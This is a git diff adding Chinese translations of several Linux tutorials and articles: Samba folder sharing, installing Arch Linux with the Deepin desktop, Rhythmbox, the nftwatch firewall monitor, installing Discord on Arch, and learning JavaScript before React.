IP 地址,如下所示: + +![在 Linux 中查找 IP 地址][7] + +一旦你获得 IP 地址,就可以在 Ubuntu/Linux 系统中打开文件管理器,然后在地址栏中输入以下内容。注意:你应该修改为你系统的 IP 地址。 + +你现在可以看到共享文件夹上面显示了一个小共享图标,表示网络共享文件夹。 + +![共享文件夹][8] + +要在 **Windows 系统** 访问共享文件夹,打开运行(按下 `Windows + R`)或打开资源管理器,输入以下地址。注意:你应该修改为你系统的 IP 地址和文件夹名称。 + +``` +\\192.168.43.19\Folder +``` + +你应该能够查看共享文件夹的内容,并根据授予的权限修改它。 + +### 总结 + +我已经向你展示了如何从 Ubuntu 共享一个件夹,并通过 IP 地址在 Windows 系统中访问。对于其他 Linux 发行版,你也可以执行相同的步骤。如果本文对你有帮助,在下面的评论框中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/guide-how-share-folder-between-ubuntu-linux-windows/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/category/tutorials/ +[2]: https://www.debugpoint.com/web-stories/ubuntu-22-04-review/ +[3]: https://www.debugpoint.com/wp-content/uploads/2020/01/Local-Network-Share-Option.jpg +[4]: https://en.wikipedia.org/wiki/Samba_(software) +[5]: https://www.debugpoint.com/wp-content/uploads/2020/01/Folder-Sharing-Option-Install-Samba-1024x552.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2020/01/IP-Address-Settings.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2020/01/Finding-out-IP-Address-in-Linux.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2020/01/Share-Folder-1.jpg diff --git a/published/202207/20220716 How to Install Deepin Desktop in Arch Linux [Complete Guide].md b/published/202207/20220716 How to Install Deepin Desktop in Arch Linux [Complete Guide].md new file mode 100644 index 0000000000..aca08fc6d4 --- /dev/null +++ b/published/202207/20220716 How to Install Deepin Desktop in Arch Linux [Complete Guide].md @@ -0,0 +1,314 @@ +[#]: subject: "How to Install Deepin Desktop in Arch Linux [Complete Guide]" +[#]: via: "https://www.debugpoint.com/deepin-arch-linux-install-20/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14867-1.html" + +如何在 Arch Linux 中安装深度桌面(DDE) +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/26/170414x01pmevoo8o8b6ob.jpg) + +> 在本指南中,我们将解释在 Arch Linux 中安装漂亮的深度桌面(DDE)所需的步骤。 + +指南的第一部分解释了安装 Arch 基本系统的步骤。第二部分是在 Arch Linux 的基础上安装完整的深度桌面。 + +### 什么是深度桌面(DDE)? + +[深度操作系统][1] 是一个基于 Debian 稳定分支的、功能丰富且漂亮的桌面环境。深度桌面环境(DDE)是深度操作系统自主开发的桌面环境。它由它自己的 dde-kwin 窗口管理器驱动。深度桌面带有漂亮的停靠区和许多预装的深度原生的应用程序。 + +这个令人眼花缭乱的桌面环境 [可在 Arch 仓库中找到][2];这篇文章介绍了如何在 Arch Linux 中安装深度桌面。 + +本指南安装深度桌面环境 20.1。然而,其他版本的步骤也应该是类似的。 + +### 第一部分:安装 Arch Linux + +如果你已经安装了 Arch Linux,你可以跳过这一步,直接进入安装深度桌面部分。 + +要快速安装基本的 Arch Linux,请按照以下步骤进行。你也可以访问 [本指南][3] 了解以双启动或在虚拟机上安装 Arch Linux 的完整教程。 + +#### 下载 Arch Linux + +从下面的链接下载 Arch Linux 的 .iso 文件。这里有磁力链和 BT 链接。一旦你下载好了,就把 ISO 写入 U 盘。然后从该驱动器启动。 + +> **[下载 Arch Linux][4]** + +如果你打算通过 [GNOME Boxes][5]、[virt-manager][6] 将其安装为虚拟机镜像 —— 那么你不需要将其写入 U 盘。 + +#### 启动和配置分区 + +从 Arch Linux ISO 启动后,你必须运行一系列的命令来安装基本系统。 + +首先,运行下面的命令,找出设备的标识符。 + +``` +fdisk -l +``` + +![fdisk -l 之前的分区][7] + +然后用此设备标识符,运行下面的命令,开始对你的磁盘进行分区。请确保根据你的系统而修改下面的 `/dev/sda` 参数。 + +``` +cfdisk /dev/sda +``` + +在下一个提示中选择 `label type = dos`。 + +选择可用空间,并从底部选择 “NEW” 选项。在这个例子中,我将创建三个分区,如下所示: + +``` +/dev/sda1 - 1G - for /boot +/dev/sda2 - 5G - for root +/dev/sda3 - 1G - for swap +``` + +![cfdisk][8] + +在下一个屏幕中,提供启动分区(`/boot`)的大小(在这个例子中,我给出了 1GB)。选择它作为主分区。 + +对 5GB 大小的主根分区(`/`)重复同样的步骤。 + +![改变交换分区的类型][9] + +用同样的步骤创建一个大小为 1G 的交换分区(你可以根据你的需要改变大小)。创建交换分区后,确保在底部选择类型,并将其标记为 “Linux Swap/Solaris” 选项的交换分区。 + +![cfdisk 的最终分区列表][10] + +完成后,用底部的 “Write” 选项将变化写到磁盘上。确保你在写之前做一个备份,因为这是你系统中的一个永久性的改变。 + +在你继续之前,运行下面的命令来检查。在这个例子中,你可以看到,列出了三个分区。 + +``` +fdisk -l +``` + +![fdisk 中的最终分区列表][11] + +依次运行下面的命令,在上面新创建的分区中格式化并创建一个 ext4 文件系统。确保你根据你的需要改变 `/dev/sda1` 和 `/dev/sda2` 参数。 + +``` +mkfs.ext4 /dev/sda1 +mkfs.ext4 /dev/sda2 +mkswap /dev/sda3 +swapon /dev/sda3 +``` + +完成后,挂载系统并创建必要的目录。 + +``` +mount /dev/sda2 /mnt +mkdir /mnt/boot /mnt/var /mnt/home +mount /dev/sda1 /mnt/boot +``` + +同样,确保你根据你的系统改变 `/dev/sda1`、`/dev/sda2` 和 `/dev/sda3` 参数。 + +![准备文件系统][12] + +#### 安装基本系统 + +我希望你已经连接到互联网了。如果没有,请尝试使用 USB 网卡或有线网络连接,Arch 安装程序会自动配置和检测。如果你没有可用的有线连接,请按照本指南使用 Arch Linux 安装程序配置无线 Wi-Fi 网络。 + +依次运行下面的命令,将基本系统安装到挂载的分区中。下载的大小约为 400MB。 + +``` +pacman -Syy +pacstrap /mnt base base-devel linux linux-firmware nano dhcpcd net-tools grub +``` + +![安装基本系统][13] + +一旦完成,生成一个文件系统表,没有这个表你就无法启动系统。 + +``` +genfstab -U /mnt >> /mnt/etc/fstab +``` + +#### 配置基本系统 + +依次按照下面的命令来配置基本系统。这包括设置你的地区和语言,添加一个登录用户,以及设置互联网。 + +``` +arch-chroot /mnt +nano /etc/locale.gen +``` + +去掉开头的 `#`,取消对你选择的语言环境的注释。在本指南中,我选择了 `en_US.UTF-8 UTF-8`。按 `CTRL+O`、回车和 `CTRL+X` 退出 nano。 + +![改变语言环境][14] + +使用以下方法生成语言环境数据。 + +``` +locale-gen +``` + +使用下面的命令设置语言。 + +``` +echo LANG=en_US.UTF-8 > /etc/locale.conf +export LANG=en_US.UTF-8 +``` + +设置本地时区。 + +``` +ln -s /usr/share/zoneinfo/America/New_York /etc/localtime +``` + +同样,你可以根据你的需要来选择它们。你可以通过以下命令列出本地时区。 + +``` +ls /usr/share/zoneinfo +ls /usr/share/zoneinfo/America +``` + +依次使用下面的命令设置硬件时钟、创建主机名并启用互联网的 DHCP。你可以根据你的想法把 `debugpoint-pc` 改为任何主机名。 + +``` +hwclock --systohc --utc +echo debugpoint-pc > /etc/hostname +systemctl enable dhcpcd +``` + +下一步是设置 `root` 用户的密码、创建一个管理员用户,并将该用户添加到 `sudoers` 文件中。 + +按照下面的命令依次进行。确保根据你的需要将用户名`debugpoint` 改为其他名称。 + +``` +passwd rootuseradd -m -g users -G wheel -s /bin/bash debugpointpasswd debugpoint +``` + +![创建用户][15] + +打开 `sudoers` 文件,添加以下几行。 + +``` +nano /etc/sudoers +``` + +添加下面几行。由于你已经创建了 `root` 用户,该条目应该已经有了。 + +``` +root ALL=(ALL) ALL +debugpoint ALL=(ALL) ALL +``` + +![更新 sudoers 文件][16] + +安装 GRUB,建立初始的 Ramdisk 环境,并使用下面的命令卸载系统。 + +``` +grub-install /dev/sda +grub-mkconfig -o /boot/grub/grub.cfg +mkinitcpio -p linux +exit +``` + +![配置 GRUB][17] + +然后重新启动你的系统。 + +``` +umount /mnt/boot +umount /mnt +reboot +``` + +现在你已经成功地安装了 Arch Linux 基本系统。现在是安装完整的深度桌面的时候了。 + +### 第二部分:在 Arch Linux 中安装深度桌面 + +重新启动后,从 GRUB 中选择 Arch Linux。在 Arch Linux 的提示符下,开始依次运行以下命令。这些命令安装 Xorg 服务器、Lightdm 显示管理器和深度桌面组件。 + +对于所有的命令,使用默认的包版本,即在询问时按回车。 + +安装 Xorg 和显示管理器。大约安装大小为 80 MB。 + +``` +sudo pacman -S --need xorg lightdm +``` + +安装额外的组件和应用程序(约 550 MB)。 + +``` +sudo pacman -S --need deepin deepin-extra +``` + +安装完成后,通过修改 Lightdm 配置文件启用深度欢迎页。按照下面的命令。 + +``` +nano /etc/lightdm/lightdm.conf +``` + +并添加下面这一行。保存该文件(`CTRL+O`、`CTRL+X`)。 + +``` +greeter-session=lightdm-deepin-greeter +``` + +![在 Lightdm 登录页中添加深度欢迎欢迎页][18] + +现在是时候把显示管理器和网络管理器作为服务启用了。这样,下次登录时,它们就可以由 systemd 自动运行。 + +``` +systemctl enable lightdm +systemctl enable NetworkManager +``` + +![启用 Lightdm 和网络][19] + +使用 `reboot` 命令重新启动系统。 + +``` +reboot +``` + +如果一切顺利,你应该看到深度桌面的登录提示。使用你刚刚在上面的步骤中创建的凭证登录。你应该会看到最新的深度桌面环境。 + +![Arch Linux 中的深度 20.1 登录屏幕][20] + +![Arch Linux中的深度桌面 20.1][21] + +### 总结 + +我希望这个指南能帮助你在 Arch Linux 中安装深度桌面。虽然它不是我的日常环境,我觉得深度的桌面在本质上有些慢。可能是因为有太多的颜色渲染和动画,而且尽管它是建立在 Qt 上的,但没有为深度桌面进行适当的优化。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/deepin-arch-linux-install-20/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/2020/09/deepin-20-review/ +[2]: https://archlinux.org/groups/x86_64/deepin/ +[3]: https://www.debugpoint.com/2020/11/install-arch-linux/ +[4]: https://www.archlinux.org/download/ +[5]: https://www.debugpoint.com/2020/05/install-use-gnome-boxes/ +[6]: https://www.debugpoint.com/2020/11/virt-manager/ +[7]: https://www.debugpoint.com/wp-content/uploads/2020/12/fdisk-l-before.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2020/12/cfdisk-1024x159.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2020/12/Swap-parition-type-change.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2020/12/final-partition-list-in-cfdisk-1024x178.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2020/12/final-partition-list-in-fdisk.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2020/12/prepare-file-system.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2020/12/Install-base-system-1024x205.jpg +[14]: https://www.debugpoint.com/wp-content/uploads/2020/12/change-locale.jpg +[15]: https://www.debugpoint.com/wp-content/uploads/2020/12/create-user.jpg +[16]: https://www.debugpoint.com/wp-content/uploads/2020/12/update-sudoers-file.jpg +[17]: https://www.debugpoint.com/wp-content/uploads/2020/12/configure-grub-1024x639.jpg +[18]: https://www.debugpoint.com/wp-content/uploads/2021/01/add-deepin-greeter-in-lightdm-login.jpg +[19]: https://www.debugpoint.com/wp-content/uploads/2020/12/Enable-lightdm-and-network-Install-Xfce-Desktop-in-Arch-Linux.jpg +[20]: https://www.debugpoint.com/wp-content/uploads/2021/01/Deepin-20.1-Login-screen-in-Arch-Linux-1024x771.jpg +[21]: https://www.debugpoint.com/wp-content/uploads/2021/01/Deepin-Desktop-20.1-in-Arch-Linux-1024x770.jpg diff --git a/published/202207/20220716 Listen to music on Linux with Rhythmbox.md b/published/202207/20220716 Listen to music on Linux with Rhythmbox.md new file mode 100644 index 0000000000..2fa8c8a204 --- /dev/null +++ b/published/202207/20220716 Listen to music on Linux with Rhythmbox.md @@ -0,0 +1,64 @@ +[#]: subject: "Listen to music on Linux with Rhythmbox" +[#]: via: "https://opensource.com/article/22/7/listen-music-rhythmbox-linux" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "duoluoxiaosheng" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14865-1.html" + +在 Linux 上使用 Rhythmbox 听音乐 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/25/234644f4rgrx1vrpgfk86n.jpg) + +> 下面我将介绍我是如何在 Linux 的 GNOME 桌面上使用 Rhythmbox 听在线音乐和 MP3 列表的。 + +对我来说,在完全安静的环境下工作是很困难的。我需要某种背景音,最好是一些熟悉的音乐。我在音乐上的需求很简单:我只需要一个音乐播放器,可以播放我的 MP3 音乐库和少数几个我喜欢的网站的在线音乐。 + +我在 Linux 上尝试了多个音乐播放器,最终我还是选择了 Rhythmbox。 Rhythmbox 是一个 GNOME 桌面音乐播放器。如果你的 Linux 发行版使用的是 GNOME 桌面,很可能已经安装了 Rhythmbox。它很简单,用来播放我本地的音乐库和广播网站的在线音乐。我很乐意在 Linux 上使用 Rhythmbox 收听在线音乐和我自己的音乐库。 + +### 在 Linux 上收听在线音乐 + +Rhythmbox 支持多个在线音乐服务商。如果你拥有一个 Last.fm 或者 Libre.fm 的帐号,你可以点击左侧的标签登录。或者,你想收听在线广播,点击左侧的“广播Radio”标签,在预设的广播网站中选择一个。在我写代码的时候我通常喜欢听迷幻舞曲,HBR1 Tranceponder 是我最喜欢的一个在线广播网站。 + +![Streaming HBR1 Traceponder][2] + +### 在 Linux 上播放我的音乐库 + +在过去的几年中,我收集了大量的 MP3 音乐。由于几年前 MP3 的专利在美国已经到期,它在 Linux 是一种很好用的开放的音乐格式。 + +我把我 20GB 的 MP3 音乐保存在我的主目录之外,在 `/usr/local/music` 。要把音乐导入 Rhythmbox,点击 “导入Import” 按钮,选择 `usr/local/music` 目录,或者任何你保存音乐的目录,让 Rhythmbox 去识别 MP3 音乐。结束以后点击 “导入列出的曲目Import listed tracks” 按钮导入就完成了。 + +![Use the Import button to add music to Rhythmbox][3] + +![Rhythmbox identifies new music files][4] + +Rhythmbox 可以播放我的音乐,并通过类型,艺术家和专辑组织歌曲,所以我可以很容易找到我想听的音乐。 + +![Listening to a music library in Rhythmbox][5] + +### 旋律永存 + +我愿意在 Linux 上使用 Rhythmbox 作为我的音乐播放器,它是如此简洁,不会影响到我。而且听音乐可以帮我和谐掉日常的噪音,让我每一天都可以过的快一点。 + +*(文内图片来自 Jim Hall,CC BY SA)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/listen-music-rhythmbox-linux + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[duoluoxiaosheng](https://github.com/duoluoxiaosheng) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/programming-code-keyboard-laptop-music-headphones.png +[2]: https://opensource.com/sites/default/files/2022-07/rhythmbox-hbr1.png +[3]: https://opensource.com/sites/default/files/2022-07/rhythmbox-import1_0.png +[4]: https://opensource.com/sites/default/files/2022-07/rhythmbox-import2.png +[5]: https://opensource.com/sites/default/files/2022-07/rhythmbox-dido-lifeforrent.png diff --git a/published/202207/20220718 Monitor your Linux firewall with nftwatch.md b/published/202207/20220718 Monitor your Linux firewall with nftwatch.md new file mode 100644 index 0000000000..468fb0b8c5 --- /dev/null +++ b/published/202207/20220718 Monitor your Linux firewall with nftwatch.md @@ -0,0 +1,85 @@ +[#]: subject: "Monitor your Linux firewall with nftwatch" +[#]: via: "https://opensource.com/article/22/7/nftwatch-linux-firewall" +[#]: author: "Kenneth Aaron https://opensource.com/users/flyingrhino" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14858-1.html" + +用 nftwatch 监控你的 Linux 防火墙 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/24/070724d542rvbbg3af3o9p.jpg) + +> 我创建了 Linux nftwatch 命令来观察防火墙的流量统计。 + +Netfilter 表([nftables][4])是现代 Linux 发行版中的默认防火墙。它在 Fedora 和 RHEL 8、最新的 Debian 和许多其他版本上都有。它取代了早期发行版中捆绑的旧版 iptables。它是一个强大的、值得的 iptables 替代品,作为一个广泛使用它的人,我欣赏它的能力和功能。 + +nftables 的一个特点是能够为许多元素添加计数器,例如规则。这些都是按需启用的。你需要使用 `counter` 参数,在每一行明确地要求它。我为我的防火墙中的特定规则启用了这些计数器,这使我能够看到这些规则。 + +这让我开始思考。我怎样才能实时查看这些计数器?一开始我尝试了 `watch`,它允许诸如刷新率之类的东西,但我不喜欢默认格式,而且它不能滚动。我发现使用 `head` 和 `tail` 以及 `awk` 也不理想,并不存在一个用户友好的解决方案。所以我自己写了一个,我想与开源社区分享。 + +### Linux 上的 nftwatch 介绍 + +我的解决方案,我称之为 `nftwatch`,做了几件事: + +* 它对 nftables 的输出进行重新排序和改写,使其更具有可读性。 +* 它允许向上或向下滚动输出。 +* 可以由用户定义的刷新率(可以实时改变)。 +* 它可以暂停显示。 + +你得到的不是一个表格的转储,而是显示每个规则活动的输出。 + +![Image of nftwatch][5] + +你可以从它的 [Git 仓库][6]下载它。 + +它是 100% 的 Python 代码,100% 的开源,100% 的免费。它满足了所有免费的高质量程序的要求。 + +### 在 Linux 上安装 nftwatch + +以下是手动安装说明: + +1. 克隆或从 git 仓库下载该项目。 +2. 将 `nftwatch.yml` 复制到 `/etc/nftwatch.yml`。 +3. 将 `nftwatch` 复制到 `/usr/local/bin/nftwatch` 并使用 `chmod a+x` 授予其可执行权限。 +4. 使用 `nftwatch`,不带任何参数来运行它。 +5. 参见 `nftwatch -m` 的手册。 + +你也可以在没有 [YAML][7] 配置文件的情况下运行 nftwatch,在这种情况下它使用内置的默认值。 + +### 使用 + +`nftwatch` 命令显示 nftables 规则。大多数控制都是为此目的而设计的。 + +箭头键和等效的 Vim 的按键控制滚动。使用 `F` 或 `S` 键来改变刷新速度。使用 `P` 键来暂停显示。 + +运行 `nftwatch -m` 以获得完整的说明,以及交互式按键控制的列表。 + +### 防火墙的新观点 + +即使你花费了时间去配置防火墙,它也会显得晦涩难懂和模糊不清。除了从日志条目中推断指标外,很难判断你的防火墙实际看到的活动类型。 使用 `nftwatch`,你可以看到你的防火墙在工作,并且可以更好地了解你的网络每天需要处理的流量类型。 + +*(文内图片来自 Kenneth Aaron,CC BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/nftwatch-linux-firewall + +作者:[Kenneth Aaron][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/flyingrhino +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_laptop_computer_work_desk.png +[2]: https://unsplash.com/@jonasleupe?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/tea-cup-computer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://developers.redhat.com/blog/2016/10/28/what-comes-after-iptables-its-successor-of-course-nftables?extIdCarryOver=true&sc_cid=701f2000001OH79AAG#getting_started +[5]: https://opensource.com/sites/default/files/2022-07/nftwatch-sample.png +[6]: https://github.com/flyingrhinonz/nftwatch +[7]: https://opensource.com/article/21/9/yaml-cheat-sheet diff --git a/published/202207/20220719 How to Install Discord on Manjaro and Other Arch Linux Derivatives.md b/published/202207/20220719 How to Install Discord on Manjaro and Other Arch Linux Derivatives.md new file mode 100644 index 0000000000..23b855c07d --- /dev/null +++ b/published/202207/20220719 How to Install Discord on Manjaro and Other Arch Linux Derivatives.md @@ -0,0 +1,118 @@ +[#]: subject: "How to Install Discord on Manjaro and Other Arch Linux Derivatives" +[#]: via: "https://itsfoss.com/install-discord-arch-manjaro/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14856-1.html" + +如何在 Manjaro 和其他 Arch Linux 衍生品上安装 Discord 客户端 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/23/181625i62zdef7iufup2e6.jpg) + +[Discord][1] 是一个跨平台的应用,可用于语音通话、视频通话、文本消息,以及分享媒体和文件。 + +它在游戏玩家和主播中非常流行。虽然,许多开源项目已经开始使用它来主持他们的社区讨论。你可以找到这类开源社区的 [官方 Discord 服务器][2]。 + +Discord 可以直接从你的网页浏览器访问。安装官方桌面客户端可以让你获得系统通知和集中交流,而不是在多个打开的标签中摸索 Discord 标签。 + +虽然 Discord 为 Ubuntu 提供了 Deb 文件,但在 Arch Linux 上却没有这样的即用型软件包。 + +别担心。在本教程中,我将向你展示两种在 [Arch Linux][3] 及其衍生版本上安装 Discord 的方法。 + +* 通过 [Pacman][4] 安装 Discord(命令行方法,对所有基于 Arch 的发行版有效)。 +* 通过 [Pamac][5] 安装 Discord(GUI 方法,对 Manjaro 和其他一些使用 Pamac 工具的基于 Arch 的发行版有效)。 + +### 方法 1: 通过 pacman 命令安装 Discord + +首先,更新你的系统,因为它是一个滚动发布的版本,[不支持部分升级][6]。 + +在终端输入以下 [pacman 命令][7] 来 [更新你的 Arch Linux 系统][8]。 + +``` +sudo pacman -Syu +``` + +现在你可以通过以下命令安装 Discord 包。 + +``` +sudo pacman -S discord +``` + +安装后,只需从应用菜单中启动应用,然后登录就可以开始使用 Discord。 + +![Discord client in Arch Linux][9] + +**如果你想安装 Discord 的每日构建版本** 来测试即将到来的新功能,请使用以下命令。请注意,它可能并不稳定,所以如果你想要这个版本,请再考虑一下。 + +``` +sudo pacman -S discord-canary +``` + +#### 删除 Discord + +如果你想删除 Discord,使用下面的命令来删除它以及它的依赖关系和配置文件: + +``` +sudo pacman -Rns discord +``` + +如果你选择的是每日构建版本,请使用以下命令将其删除: + +``` +sudo pacman -Rns discord-canary +``` + +这很不错。现在对于不喜欢使用终端的人来说,有一个替代方案。我将在下一节讨论这个问题。 + +### 方法 2:通过 Pamac 安装 Discord + +如果你使用 Arch Linux 的衍生产品,如 [Manjaro Linux][10]、[Garuda Linux][11] 等,你就有一个叫做 Pamac 的图形化软件中心。 + +有了这个图形化的工具,你可以轻松地安装新的应用程序或删除现有的应用,而不必进入终端。 + +从应用程序菜单中启动 Pamac(添加/删除软件)。 + +![pamac menu][12] + +点击“更新Updates”来更新你的系统。 + +![pamac update][13] + +现在点击“浏览Browse”,使用左上方的搜索按钮搜索 “discord”。然后,选择软件包并点击“应用Apply”来安装。 + +![Installing Discord from Pamac][14] + +你可以用 Pamac 来卸载软件包,就像你安装它一样。 + +我希望这个关于在基于 Arch 的 Linux 发行版上安装 Discord 的快速技巧对你有帮助。如果你有任何问题或建议,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-discord-arch-manjaro/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://discord.com/ +[2]: https://discord.com/open-source +[3]: https://archlinux.org/ +[4]: https://archlinux.org/pacman/ +[5]: https://gitlab.manjaro.org/applications/pamac +[6]: https://wiki.archlinux.org/title/System_maintenance#Partial_upgrades_are_unsupported +[7]: https://itsfoss.com/pacman-command/ +[8]: https://itsfoss.com/update-arch-linux/ +[9]: https://itsfoss.com/wp-content/uploads/2022/06/discord.png +[10]: https://manjaro.org/ +[11]: https://garudalinux.org/ +[12]: https://itsfoss.com/wp-content/uploads/2022/06/pamac-menu.png +[13]: https://itsfoss.com/wp-content/uploads/2022/06/pamac-update.png +[14]: https://itsfoss.com/wp-content/uploads/2022/06/pamac-discord.png diff --git a/published/202207/20220720 How much JavaScript do you need to know before learning ReactJS-.md b/published/202207/20220720 How much JavaScript do you need to know before learning ReactJS-.md new file mode 100644 index 0000000000..7369b9a6b1 --- /dev/null +++ b/published/202207/20220720 How much JavaScript do you need to know before learning ReactJS-.md @@ -0,0 +1,77 @@ +[#]: subject: "How much JavaScript do you need to know before learning ReactJS?" +[#]: via: "https://opensource.com/article/22/7/learn-javascript-before-reactjs" +[#]: author: "Sachin Samal https://opensource.com/users/sacsam005" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14874-1.html" + +学习 ReactJS 之前,你需要了解多少 JavaScript? +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/29/082104d5zn1xn77r1n8p1n.jpg) + +> 最主要的是要精通 JavaScript,这样你就可以减少 ReactJS 之旅的复杂性。 + +React 是一个建立在 HTML、CSS 和 JavaScript 之上的 UI 框架,其中 JavaScript(JS)负责大部分的逻辑。如果你对变量、数据类型、数组函数、回调、作用域、字符串方法、循环和其他 JS DOM 操作相关的主题有一定了解,这些将极大地加快学习 ReactJS 的步伐。 + +你对现代 JavaScript 的概念将决定你能多快地掌握 ReactJS 的步伐。你不需要成为一个 JavaScript 专家来开始你的 ReactJS 之旅,但就像对食材的了解是任何希望掌握烹饪的厨师所必须的一样,学习 ReactJS 也是如此。它是一个现代的 JavaScript UI 库,所以你需要了解一些 JavaScript。问题是,需要多少? + +### 示例解释 + +假设我被要求用英语写一篇关于“牛”的文章,但我对这种语言一无所知。在这种情况下,为了让我成功地完成任务,我不仅要对主题有概念,还要对指定的语言有概念。 + +假设我获得了一些关于主题(牛)的知识,我如何计算我需要知道多少英语才能写出规定的主题?如果我必须用英语写一篇关于其他复杂话题的文章呢? + +这很难搞清楚,不是吗?我不知道我要写关于这个话题的什么东西,但它可能是任何东西。所以要想开始,我必须要有适当的英语知识,但还不止于此。 + +### 极端现实 + +在开始使用 ReactJS 之前,所需的 JavaScript 数量也是如此。根据我的例子情景,ReactJS 是话题“牛”,而 JavaScript 是英语。要想在 ReactJS 中获得成功,对 JavaScript 的掌握很重要。如果没有适当的 JavaScript 基础,一个人是很难专业地掌握 ReactJS 的。无论我对这个主题有多少知识,如果我不知道语言的基础,我就不能正确地表达自己。 + +### 多少才算够? + +根据我的经验,当你开始你的 ReactJS 之旅时,你应该已经熟悉了: + +* 变量 +* 数据类型 +* 字符串方法 +* 循环 +* 条件式 + +你应该对这些具体的 JavaScript 熟悉。但这些只是最基本的先决条件。当你试图创建一个简单的 React 应用时,你将不可避免地需要处理事件。所以,普通函数、函数表达式、语句、箭头函数的概念,箭头函数和普通函数的区别,以及这两类函数中 `this` 关键字的词义范围,这确实很重要。 + +但问题是,如果我必须使用 ReactJS 创建一个复杂的应用怎么办? + +### 获得启发 + +在 JavaScript 中处理事件、传播操作符、解构、命名导入和默认导入将帮助你理解 React 代码的工作机制。 + +最重要的是,你必须了解 JavaScript 本身背后的核心概念。JavaScript 在设计上是异步的。当出现在文件底部的代码在文件顶部的代码之前执行时,不要惊讶。像 promise、callback、async-await、map、filter 和 reduce 这样的结构,是 ReactJS 中最常见的方法和概念,尤其是在开发复杂的应用时。 + +最主要的是要精通 JavaScript,这样你可以减少 ReactJS 之旅的复杂性。 + +### 越来越好 + +我很容易说出你需要知道的东西,但你去学习它完全是另一回事。大量练习 JavaScript 是必不可少的,但你可能会感到惊讶,我认为这并不意味着你必须等到掌握它。有些概念事先很重要,但你可以在学习过程中学到很多东西。练习的一部分是学习,所以你可以开始使用 JavaScript,甚至是 React 的一些基础知识,只要你以舒适的速度移动并理解在你尝试任何严肃的事情之前做你的“家庭作业”是一个要求。 + +### 立即开始使用 JavaScript + +不要费心等到你了解了 JavaScript 的所有方面。那永远不会发生。如果这样做,你将陷入学习 JavaScript 的永远循环中。你们都知道技术领域是如何不断发展和迅速变化的。如果你想开始学习 JavaScript,请尝试阅读 Mandy Kendall 的介绍性文章 [通过编写猜谜游戏学习 JavaScript][2]。这是一种快速入门的好方法,当你看到了可能的情况,我认为你可能会发现很难停下来。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/learn-javascript-before-reactjs + +作者:[Sachin Samal][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sacsam005 +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/OSDC_women_computing_5.png +[2]: 